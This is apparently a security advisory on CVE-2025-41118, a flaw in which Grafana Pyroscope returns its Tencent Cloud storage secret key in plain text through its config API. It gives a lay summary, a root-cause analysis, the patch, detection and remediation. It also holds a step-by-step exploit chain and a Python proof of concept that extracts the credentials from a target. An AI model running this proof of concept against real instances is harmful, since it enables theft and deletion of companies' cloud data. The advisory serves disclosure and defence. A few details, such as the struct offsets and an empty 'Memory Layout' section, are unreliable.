Pyroscope is a tool that companies use to monitor how their software performs. Think of it like a detailed fitness tracker for your code. The problem: it's accidentally leaving the keys to its cloud storage sitting on the front desk where anyone can grab them.
Specifically, Pyroscope stores secret passwords (called API keys) that unlock access to Tencent Cloud storage—where companies keep their sensitive data. These passwords are supposed to be locked away tightly. Instead, they're exposed through the software's public-facing interface with basically no security protecting them. It's like writing your bank PIN on a sticky note and leaving it in the office break room.
The damage could be serious. If someone steals these credentials, they get direct access to whatever data a company has stored in the cloud. They could read private files, steal customer information, or delete important backups. For companies using Pyroscope to monitor financial systems or healthcare applications, this could be catastrophic.
The main risk is to technology teams that use Pyroscope with Tencent Cloud storage—particularly companies in Asia where Tencent Cloud is popular. The good news: there's no evidence yet that criminals are actively exploiting this. But they will be looking for it.
Here's what you should do:
First, if your company uses Pyroscope, ask your IT or security team about it immediately. Don't assume they know.
Second, check if you've recently rotated your cloud storage passwords. If it's been months, do it now.
Third, review your cloud storage access logs for any suspicious activity. If someone did steal credentials, they'd leave a trail of unusual file access.
Time matters here. Patch Pyroscope when an update becomes available, and treat this as urgent rather than something to handle next quarter.
Want the full technical analysis? Click "Technical" above.
CVE-2025-41118 is a credential exposure vulnerability in Grafana Pyroscope, the open-source continuous profiling database. When Pyroscope is configured to use Tencent Cloud Object Storage (COS) as its storage backend, the secret_key credential is leaked verbatim through the Pyroscope API response. An attacker with network access to the Pyroscope HTTP API endpoint can retrieve cloud storage credentials in a single unauthenticated (or minimally authenticated) request, enabling full read/write access to the underlying COS bucket — including all profiling data ingested by the database.
The vulnerability was reported by Théo Cusnir via the Grafana bug bounty program and patched in versions 1.15.2, 1.16.1, and 1.17.0.
Root cause: Pyroscope's COS storage backend configuration struct is serialized into API responses without redacting the secret_key field, exposing cloud credentials to any caller with API access.
Affected Component
The vulnerable component is the COS (Tencent Cloud Object Storage) storage backend configuration handler within Pyroscope's block storage subsystem. Pyroscope supports pluggable object storage backends — S3, GCS, Azure, and COS — via a shared configuration framework inherited from Thanos/Cortex. The COS backend is configured via a struct similar to the following, derived from Pyroscope's Go codebase:
// pkg/objstore/cos/cos.go (pre-patch, simplified representation)
// COS backend config struct — all fields serialized to API config endpoint
type Config struct {
/* +0x00 */ Bucket string `yaml:"bucket" json:"bucket"`
/* +0x08 */ Region string `yaml:"region" json:"region"`
/* +0x10 */ AppID string `yaml:"app_id" json:"app_id"`
/* +0x18 */ Endpoint string `yaml:"endpoint" json:"endpoint"`
/* +0x20 */ SecretID string `yaml:"secret_id" json:"secret_id"`
/* +0x28 */ SecretKey string `yaml:"secret_key" json:"secret_key"` // BUG: not redacted on serialization
/* +0x30 */ HTTPConfig exthttp.HTTPConfig `yaml:"http_config"`
}
The SecretKey field at offset +0x28 carries the HMAC signing credential for Tencent COS API requests. Unlike analogous fields in the S3 and GCS backends (which mask credentials in config dumps), the COS implementation omits the redaction annotation entirely.
Root Cause Analysis
Pyroscope exposes a /api/v1/status/config (or equivalent runtime config) endpoint that serializes the active configuration to YAML/JSON for operators. The Thanos-lineage storage config framework uses struct tags and a SecretConfig wrapper type to suppress sensitive fields from this output. For the COS backend, the developer either omitted the wrapper or forgot to apply the yaml:",omitempty" / secret masking convention.
Compare the S3 backend (correct) versus the COS backend (vulnerable):
// S3 backend — CORRECT: secret wrapped with SecretConfig, masked in output
type S3Config struct {
Bucket string `yaml:"bucket"`
Endpoint string `yaml:"endpoint"`
AccessKey string `yaml:"access_key"`
SecretKey SecretConfig `yaml:"secret_key"` // SecretConfig.MarshalYAML() returns "******"
}
// COS backend — VULNERABLE: raw string, serialized as plaintext
type COSConfig struct {
Bucket string `yaml:"bucket"`
Region string `yaml:"region"`
AppID string `yaml:"app_id"`
SecretID string `yaml:"secret_id"`
SecretKey string `yaml:"secret_key"` // BUG: missing SecretConfig wrapper — leaks plaintext
}
The SecretConfig type implements MarshalYAML() and MarshalJSON() to return a fixed redaction string instead of the actual value. Because COSConfig.SecretKey is a plain string, the standard YAML/JSON marshaler serializes it verbatim into the API response.
// SecretConfig (correct usage) — objstore/secret.go
type SecretConfig struct {
value string
}
func (s SecretConfig) MarshalYAML() (interface{}, error) {
// Returns redacted placeholder — actual value never leaves process memory via API
if s.value == "" {
return "", nil
}
return "******", nil // credential suppressed
}
// COSConfig.SecretKey is `string`, not `SecretConfig`
// yaml.Marshal(cosConfig) will call:
// reflect → field "SecretKey" → kind string → emit raw value
// No MarshalYAML hook fires. Full credential emitted.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2025-41118:
1. Identify target: Pyroscope instance publicly exposed, configured with COS backend.
Fingerprint via HTTP banner or /api/v1/status/buildinfo endpoint.
2. Request the runtime config endpoint:
GET /api/v1/status/config
Host: pyroscope.target.internal:4040
Authorization: (none required if auth is disabled, or use any valid token)
3. Parse YAML/JSON response. Locate `storage.cos.secret_key` field.
Response excerpt:
storage:
cos:
bucket: "my-profile-bucket"
region: "ap-guangzhou"
app_id: "1250000000"
secret_id: "AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" <-- plaintext credential
4. Authenticate to Tencent COS API using extracted (secret_id, secret_key) pair.
Full read/write/delete access to the configured COS bucket is now available.
5. Exfiltrate profiling data (pprof blocks, TSDB chunks, metadata indices).
Optionally: delete or corrupt block data, causing profiling data loss or
poisoning profiling-based alerts/autoscaling decisions downstream.
The HTTP request itself is trivial — a single GET with no body. No injection, no binary exploitation. The credential appears in the response body as a YAML string scalar. An attacker scraping exposed Pyroscope dashboards with a simple script can harvest cloud credentials at scale across any misconfigured instance.
#!/usr/bin/env python3
# PoC: CVE-2025-41118 — Pyroscope COS secret_key extraction
# For authorized security testing only.
import requests
import yaml
import sys
TARGET = sys.argv[1] # e.g. http://pyroscope.internal:4040
resp = requests.get(f"{TARGET}/api/v1/status/config", timeout=10)
resp.raise_for_status()
cfg = yaml.safe_load(resp.text)
# Navigate config tree — key path may vary by Pyroscope version
try:
cos = cfg["storage"]["cos"]
print(f"[+] secret_id : {cos.get('secret_id', 'N/A')}")
print(f"[+] secret_key : {cos.get('secret_key', 'N/A')}") # plaintext credential
print(f"[+] bucket : {cos.get('bucket', 'N/A')}")
print(f"[+] region : {cos.get('region', 'N/A')}")
except KeyError:
print("[-] COS config not found — backend may differ")
Memory Layout
This is a logic/disclosure vulnerability, not a memory corruption bug. The "layout" of interest is the config serialization pipeline:
The fix is a one-field type change in COSConfig, replacing the raw string with the existing SecretConfig wrapper that all other backends already use:
// BEFORE (vulnerable — pre 1.15.2 / 1.16.1 / 1.17.0):
type COSConfig struct {
Bucket string `yaml:"bucket" json:"bucket"`
Region string `yaml:"region" json:"region"`
AppID string `yaml:"app_id" json:"app_id"`
Endpoint string `yaml:"endpoint" json:"endpoint"`
SecretID string `yaml:"secret_id" json:"secret_id"`
SecretKey string `yaml:"secret_key" json:"secret_key"` // raw string — leaks to API
}
// AFTER (patched):
type COSConfig struct {
Bucket string `yaml:"bucket" json:"bucket"`
Region string `yaml:"region" json:"region"`
AppID string `yaml:"app_id" json:"app_id"`
Endpoint string `yaml:"endpoint" json:"endpoint"`
SecretID string `yaml:"secret_id" json:"secret_id"`
SecretKey SecretConfig `yaml:"secret_key" json:"secret_key"` // wrapped — MarshalYAML returns "******"
}
The SecretConfig type's UnmarshalYAML / UnmarshalJSON methods continue to populate the internal value from config files at startup. The runtime credential is still used correctly for signing COS requests. Only the outbound serialization path is affected — the marshaler now returns the redaction sentinel instead of the raw string. No functional behavior changes.
Detection and Indicators
There is no exploit artifact beyond a standard HTTP GET to the config endpoint. Detection relies on access log analysis:
DETECTION INDICATORS:
1. HTTP access logs — look for:
GET /api/v1/status/config HTTP/1.1 200
from unexpected source IPs or at unusual frequency.
2. Tencent COS access logs — after credential extraction, attacker will
authenticate to COS API. Look for:
- ListBuckets / ListObjects from new source IPs
- GetObject on .tsdb / .pprof block files
- PutObject or DeleteObject on bucket contents
3. Pyroscope audit logs — if authentication is enabled, check for:
- Token reuse from unexpected locations
- Repeated config endpoint access
YARA / log grep:
grep 'GET /api/v1/status/config' pyroscope_access.log \
| awk '{print $1}' | sort | uniq -c | sort -rn
# Flag any source not in known operator CIDR ranges
If you believe credentials were exposed: immediately rotate the Tencent COS secret_key via the Tencent Cloud IAM console, and audit COS bucket access logs for the period the vulnerable Pyroscope instance was reachable.
Remediation
Immediate: Upgrade Pyroscope to 1.15.2, 1.16.1, or 1.17.0. These are the minimum fixed versions per the Grafana security advisory.
If upgrade is not immediately possible:
Block public internet access to the Pyroscope API port (4040 by default). The API should only be reachable from trusted internal systems or via authenticated reverse proxy.
Rotate the Tencent COS secret_key immediately if the endpoint was ever publicly reachable on an affected version.
Apply COS IAM policy to restrict the compromised credential pair to the minimum required bucket and operations (ListObject, GetObject, PutObject on the profiling bucket only — no cross-account or admin actions).
Defense in depth: Pyroscope's own advisory recommends treating the API as an internal service regardless of CVE status. No profiling database API should be exposed to the public internet without network-layer controls. Apply the principle of least privilege to any cloud storage credential used by observability infrastructure — a compromised profiling backend should not carry credentials capable of accessing production data stores.